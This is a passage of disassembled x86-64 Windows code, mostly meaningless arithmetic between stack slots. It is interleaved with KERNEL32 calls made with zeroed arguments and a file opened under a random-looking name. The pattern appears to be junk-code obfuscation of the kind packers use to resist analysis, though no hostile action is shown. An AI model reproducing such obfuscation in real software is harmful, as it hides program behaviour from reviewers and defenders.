movsx eax, byte [rsp + 0x24d]
mov rcx, qword [0x14028eb18]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x728], al
movzx eax, word [rsp + 0x2d20]
mov word [rsp + 0x329c], ax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14dd8]
mov qword [rsp + 0x15a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a80]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1402828ac], eax
mov rax, qword [rsp + 0x14260]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x159a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x141], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14410], rax
movzx eax, word [rsp + 0x30ac]
movzx ecx, word [rsp + 0x2d34]
add eax, ecx
mov word [rsp + 0x2f48], ax
mov rax, qword [rsp + 0x155f0]
mov ecx, dword [rsp + 0xb160]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x149a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov dword [rsp + 0xb5ac], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb344]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb300], eax
mov rcx, qword [rsp + 0x14408]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xaf64], eax
mov rax, qword [0x14028eb98]
mov eax, dword [rax]
mov dword [rsp + 0xb5b0], eax
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19d0]
sub eax, ecx
mov word [rsp + 0x28fc], ax
movzx ecx, word [rsp + 0x3078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x32a0], ax
movzx eax, byte [rsp + 0x691]
mov rcx, qword [0x14028eaf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281f0a], al
mov eax, dword [rsp + 0xab48]
mov ecx, dword [rsp + 0xb490]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
lea rcx, [rsp + 0x22638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb23c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d58], eax
mov eax, dword [rsp + 0x9790]
mov ecx, dword [0x140282940]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1e0], eax
mov eax, dword [rsp + 0xa868]
mov dword [rsp + 0xb5b4], eax
mov eax, dword [rsp + 0xb400]
mov ecx, dword [rsp + 0xa778]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb368], eax
lea rax, [0x140282764]
mov qword [rsp + 0x15a88], rax
movsx eax, byte [rsp + 0x786]
mov rcx, qword [rsp + 0x15898]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x67c], al
movzx eax, word [rsp + 0x2d00]
movzx ecx, word [rsp + 0x2ff0]
or eax, ecx
mov word [rsp + 0x1960], ax
movzx eax, byte [0x140281eef]
mov byte [0x14028ea1d], al
mov rax, qword [rsp + 0x15800]
mov eax, dword [rax]
mov dword [rsp + 0xb5b8], eax
mov eax, dword [rsp + 0xa5bc]
mov rcx, qword [rsp + 0x151e8]
mov qword [rsp + 0x15a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15a90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8a84], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d1c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx eax, byte [rsp + 0x5ae]
movzx ecx, byte [rsp + 0x6d5]
add eax, ecx
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0x14300]
mov rcx, qword [rsp + 0x15318]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a28], eax
movzx ecx, word [rsp + 0x2ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x32a4], ax
mov rax, qword [rsp + 0x15770]
mov eax, dword [rax]
mov dword [rsp + 0xb5bc], eax
mov eax, dword [rsp + 0xafa4]
mov ecx, dword [rsp + 0xa608]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9790], eax
lea rax, [rsp + 0xa904]
mov qword [rsp + 0x15a98], rax
mov rax, qword [rsp + 0x15120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79f]
add eax, ecx
mov byte [0x14028ea38], al
movzx eax, word [rsp + 0x1a88]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [0x14028ed48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8db0], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov dword [rsp + 0xb5c0], eax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x156d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b0], al
movzx eax, word [rsp + 0x2d60]
mov word [rsp + 0x32a8], ax
movzx eax, byte [0x140281ecf]
movzx ecx, byte [rsp + 0x76d]
sub eax, ecx
mov byte [rsp + 0x729], al
lea rax, [rsp + 0x3168]
mov qword [rsp + 0x15aa0], rax
mov eax, dword [rsp + 0xae44]
movzx ecx, al
mov eax, dword [rsp + 0xa71c]
shr eax, cl
mov dword [rsp + 0x9824], eax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14ed0]
mov qword [rsp + 0x15aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15aa8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140282900], eax
mov eax, dword [rsp + 0xa0f4]
mov ecx, dword [rsp + 0xadac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3cc], eax
mov rax, qword [rsp + 0x150a8]
mov eax, dword [rax]
mov ecx, dword [0x14028ea6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x749c], eax
mov rax, qword [rsp + 0x155f0]
mov ecx, dword [rsp + 0xab50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa570], eax
movzx eax, word [rsp + 0x2b48]
mov word [rsp + 0x32ac], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fb]
and eax, ecx
mov byte [rsp + 0x69d], al
mov rax, qword [rsp + 0x15528]
mov rcx, qword [rsp + 0x15318]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa700], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov dword [rsp + 0xb5c4], eax
mov rax, qword [rsp + 0x159a8]
mov eax, dword [rax]
mov ecx, dword [0x14028281c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7e8], eax
movzx ecx, word [rsp + 0x3138]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d4c], ax
mov rax, qword [rsp + 0x14f00]
mov rcx, qword [rsp + 0x15a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282a08], eax
mov rax, qword [rsp + 0x151a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c68]
add eax, ecx
mov word [rsp + 0x2624], ax
mov rax, qword [rsp + 0x15490]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x70e]
movsx ecx, byte [0x140281de3]
sub eax, ecx
mov rcx, qword [rsp + 0x14298]
mov byte [rcx], al
mov rax, qword [rsp + 0x15668]
movzx eax, word [rax]
mov word [rsp + 0x32b0], ax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ad0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2c0], eax
mov eax, dword [rsp + 0xaee8]
mov dword [rsp + 0xb5c8], eax
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eb0]
and eax, ecx
mov word [rsp + 0x2d50], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb4b0], eax
movzx eax, byte [rsp + 0x678]
movzx ecx, byte [rsp + 0xbb]
shl eax, cl
mov byte [rsp + 0x6b6], al
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x151a8]
mov qword [rsp + 0x15ab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ab0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1402827c4], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9384]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x84e8], eax
mov rax, qword [rsp + 0x15580]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaf80], eax
lea rax, [rsp + 0xb564]
mov qword [rsp + 0x15ab8], rax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x159c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a7], al
movzx eax, word [rsp + 0x15d4]
mov word [rsp + 0x32b4], ax
movzx ecx, word [rsp + 0x2bdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x32b8], ax
mov eax, dword [rsp + 0xa558]
mov ecx, dword [rsp + 0xadb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8ec], eax
mov rax, qword [rsp + 0x155f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xae38], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x15058]
mov eax, dword [rax]
mov dword [rsp + 0xb5cc], eax
mov rax, qword [0x14028ebc8]
mov ecx, dword [rsp + 0x87c8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282a0c], eax
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5ac], eax
lea rax, [rsp + 0x77a]
mov qword [rsp + 0x15ac0], rax
movsx eax, word [rsp + 0x3054]
movsx ecx, word [rsp + 0x2d98]
sub eax, ecx
mov word [rsp + 0x2fe0], ax
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d74]
sub eax, ecx
mov word [rsp + 0x2040], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, byte [0x140281dc6]
movzx ecx, byte [rsp + 0x7c5]
add eax, ecx
mov byte [rsp + 0x3f1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xaeac], eax
mov eax, dword [rsp + 0xab80]
mov ecx, dword [rsp + 0xad00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb364], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xb5d0], eax
movzx eax, word [rsp + 0x3234]
movzx ecx, word [rsp + 0x2bf0]
add eax, ecx
mov word [rsp + 0x3058], ax
mov rax, qword [rsp + 0x15480]
movzx eax, byte [rax]
mov byte [0x14028ea1c], al
mov eax, dword [rsp + 0xaf48]
mov ecx, dword [rsp + 0x7b80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7558], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x15ac8], rax
mov rax, qword [0x14028ebc8]
mov eax, dword [rax]
mov dword [rsp + 0xb5d4], eax
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xaf34], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x15ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ad0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaf80], eax
mov rax, qword [rsp + 0x15128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa450]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c2c], eax
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x31c4]
or eax, ecx
mov word [rsp + 0x2f0c], ax
movzx eax, byte [rsp + 0x7c5]
mov rcx, qword [rsp + 0x15648]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x711], al
mov eax, dword [rsp + 0xad38]
mov dword [rsp + 0xb5d8], eax
mov eax, dword [rsp + 0x8ca4]
mov ecx, dword [rsp + 0x80fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d0], eax
movsx eax, word [rsp + 0x282c]
movsx ecx, word [rsp + 0x2c40]
add eax, ecx
mov word [0x140282958], ax
movzx eax, byte [rsp + 0x77a]
mov byte [rsp + 0x7dd], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x158f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3134], ax
mov rax, qword [rsp + 0x14e40]
movzx eax, byte [rax]
mov byte [rsp + 0x7de], al
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xace8], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa874]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x15ad8], rax
mov rax, qword [rsp + 0x14730]
mov ecx, dword [rsp + 0x8f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xadf8], eax
mov rax, qword [rsp + 0x151d8]
mov rcx, qword [rsp + 0x15078]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cec], eax
mov rax, qword [rsp + 0x14768]
mov rcx, qword [rsp + 0x15118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4c0], eax
mov eax, dword [rsp + 0xb3f8]
mov dword [rsp + 0xb5dc], eax
movzx eax, byte [rsp + 0x6e6]
mov rcx, qword [rsp + 0x155c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7dc], al
movzx eax, word [rsp + 0x285c]
movzx ecx, word [rsp + 0x325c]
sub eax, ecx
mov word [0x140282a10], ax
mov rax, qword [rsp + 0x154a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x151a8]
mov qword [rsp + 0x15ae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ae0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8df4], eax
mov eax, dword [rsp + 0xa888]
mov dword [rsp + 0xb5e0], eax
mov rax, qword [rsp + 0x14de8]
mov rcx, qword [rsp + 0x15688]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb2ac], eax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb328]
shl eax, cl
mov dword [rsp + 0xa060], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3080]
or eax, ecx
mov word [rsp + 0x2c90], ax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x156]
and eax, ecx
mov byte [rsp + 0x676], al
mov rax, qword [rsp + 0x15608]
movzx eax, word [rax]
mov word [rsp + 0x32bc], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4aa]
add eax, ecx
mov byte [rsp + 0x66d], al
mov rax, qword [rsp + 0x14f10]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ed48], eax
mov eax, dword [rsp + 0xa480]
mov dword [rsp + 0xb5e4], eax
movzx eax, byte [0x140281e9b]
movzx ecx, byte [rsp + 0x72a]
add eax, ecx
mov byte [rsp + 0x635], al
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1918], ax
mov rax, qword [rsp + 0x146c8]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb2ac], eax
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x14f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb3c4], eax
mov rcx, qword [rsp + 0x14ce8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xb1c0], eax
mov eax, dword [rsp + 0x9580]
mov dword [rsp + 0xb5e8], eax
mov rax, qword [rsp + 0x15438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb538], eax
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x7df], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
sub eax, ecx
mov rcx, qword [0x14028edf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15ab8]
mov ecx, dword [rsp + 0xb498]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9448], eax
mov eax, dword [rsp + 0xb374]
mov ecx, dword [rsp + 0xaf9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa558], eax
mov eax, dword [rsp + 0xa764]
mov rcx, qword [rsp + 0x14580]
mov qword [rsp + 0x15ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15ae8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7b20], eax
mov eax, dword [rsp + 0x6564]
mov ecx, dword [rsp + 0xa9cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6fc], eax
lea rax, [rsp + 0xb0a4]
mov qword [rsp + 0x15af0], rax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7ab]
shl eax, cl
mov byte [rsp + 0x649], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa9d8], eax
movsx eax, word [rsp + 0x1af8]
mov rcx, qword [rsp + 0x15270]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0x154d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7e0], al
movzx eax, word [rsp + 0x2730]
movzx ecx, word [rsp + 0x30f8]
add eax, ecx
mov word [0x140282a14], ax
mov rax, qword [rsp + 0x15ab8]
mov ecx, dword [rsp + 0x6998]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x96e0], eax
mov eax, dword [rsp + 0xa490]
mov dword [rsp + 0xb5ec], eax
movzx eax, word [rsp + 0x2e74]
mov rcx, qword [rsp + 0x154b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d38], ax
movzx eax, byte [rsp + 0x313]
movzx ecx, byte [rsp + 0x7b1]
sub eax, ecx
mov byte [rsp + 0x7cd], al
mov rax, qword [rsp + 0x14e30]
mov eax, dword [rax]
mov dword [rsp + 0xb5f0], eax
mov rax, qword [rsp + 0x14df0]
mov ecx, dword [rsp + 0xa8bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x14e50]
mov rcx, qword [rsp + 0x15460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x87f0], eax
mov eax, dword [rsp + 0x91b0]
mov ecx, dword [0x140282998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaba0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x15910]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15440]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281f02], al
lea rax, [rsp + 0x2d8c]
mov qword [rsp + 0x15af8], rax
mov eax, dword [rsp + 0xad30]
mov ecx, dword [0x14028ebf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ba4], eax
mov eax, dword [rsp + 0xb1ec]
movzx ecx, al
mov eax, dword [rsp + 0x793c]
sar eax, cl
mov rcx, qword [rsp + 0x159a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2e04]
mov word [rsp + 0x32c0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.JTsjO5nYqD4F38i76Qlh2Vava2g
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15b00], rax
mov rax, qword [0x14028eb18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64a]
shl eax, cl
mov rcx, qword [rsp + 0x15430]
mov byte [rcx], al
mov rax, qword [rsp + 0x15138]
movzx eax, byte [rax]
mov byte [rsp + 0x7e1], al
lea rcx, [rsp + 0x225d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15aa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c34], ax
mov eax, dword [rsp + 0x976c]
mov ecx, dword [0x140282994]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7200], eax
mov eax, dword [rsp + 0xb02c]
mov dword [0x14028ea18], eax
mov rax, qword [rsp + 0x14ed0]
mov ecx, dword [rsp + 0xab2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8290], eax
mov eax, dword [rsp + 0xabbc]
mov ecx, dword [rsp + 0xaecc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x77ec], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov dword [rsp + 0xb5f4], eax
movzx eax, word [rsp + 0x2e94]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3168], ax
mov rax, qword [rsp + 0x159c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bd]
sub eax, ecx
mov byte [rsp + 0x6dc], al
lea rax, [rsp + 0xa5b8]
mov qword [rsp + 0x15b08], rax
movzx ecx, word [rsp + 0x31f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
mov eax, dword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0xa7a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4c4], eax
lea rax, [rsp + 0xa48c]
mov qword [rsp + 0x15b10], rax
lea rax, [rsp + 0x6d50]
mov qword [0x14028ea10], rax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70b]
add eax, ecx
mov rcx, qword [rsp + 0x14b20]
mov byte [rcx], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [rsp + 0x32c4], ax
mov dword [rsp + 0x251f0], 0x114
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xafec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x2d30]
movsx ecx, word [rsp + 0x30dc]
add eax, ecx
mov word [rsp + 0x1dec], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6af]
and eax, ecx
mov byte [rsp + 0x71a], al
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x9498]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b7c], eax
mov eax, dword [rsp + 0x9388]
mov rcx, qword [rsp + 0x140c8]
mov qword [rsp + 0x15b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xad84], eax
movzx eax, word [0x1402827d4]
mov word [rsp + 0x32c8], ax
mov edx, 0x7b40e6
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa68c], eax
movzx eax, byte [rsp + 0x77b]
movzx ecx, byte [rsp + 0x1aa]
sar eax, cl
mov byte [rsp + 0x745], al
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa874]
or ecx, eax
mov eax, ecx
mov dword [0x14028294c], eax
mov eax, dword [rsp + 0xadf4]
mov ecx, dword [0x140282720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa428]
mov dword [rsp + 0xb5f8], eax
mov eax, dword [rsp + 0xa3f4]
mov ecx, dword [rsp + 0xb564]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa880], eax
mov rax, qword [rsp + 0x15a78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2798]
and eax, ecx
mov word [rsp + 0x28d0], ax
lea rdx, [rsp + 0x235b8]
mov rcx, qword [rsp + 0x15a58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67f]
sub eax, ecx
mov byte [rsp + 0x28c], al
mov eax, dword [0x14028eb74]
mov ecx, dword [rsp + 0xb3cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xabd8], eax
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
mov dword [rsp + 0xb5fc], eax
mov rax, qword [rsp + 0x14ef0]
mov ecx, dword [rsp + 0xa998]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0xa6d4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028edc0], eax
lea rax, [rsp + 0xb224]
mov qword [rsp + 0x15b20], rax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x176]
add eax, ecx
mov byte [rsp + 0x43c], al
mov rax, qword [0x14028ed58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f58]
sub eax, ecx
mov rcx, qword [rsp + 0x145e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov word [rsp + 0x32cc], ax
movzx eax, byte [rsp + 0x6fc]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov byte [rsp + 0x4fa], al
mov rax, qword [0x14028ea30]
mov rcx, qword [rsp + 0x14b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6838], eax
mov rax, qword [rsp + 0x15448]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14a88]
mov qword [rsp + 0x15b28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15b28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa7c], eax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov word [rsp + 0x32d0], ax
movzx eax, byte [rsp + 0x7cc]
mov rcx, qword [rsp + 0x155c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140281f0b], al
mov rax, qword [rsp + 0x15808]
mov rcx, qword [rsp + 0x14f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa7a4], eax
mov rax, qword [rsp + 0x158a0]
mov rcx, qword [rsp + 0x15970]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaafc], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xb600], eax
mov rax, qword [rsp + 0x14d78]
mov rcx, qword [rsp + 0x153f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x820c], eax
movzx eax, byte [rsp + 0x73e]
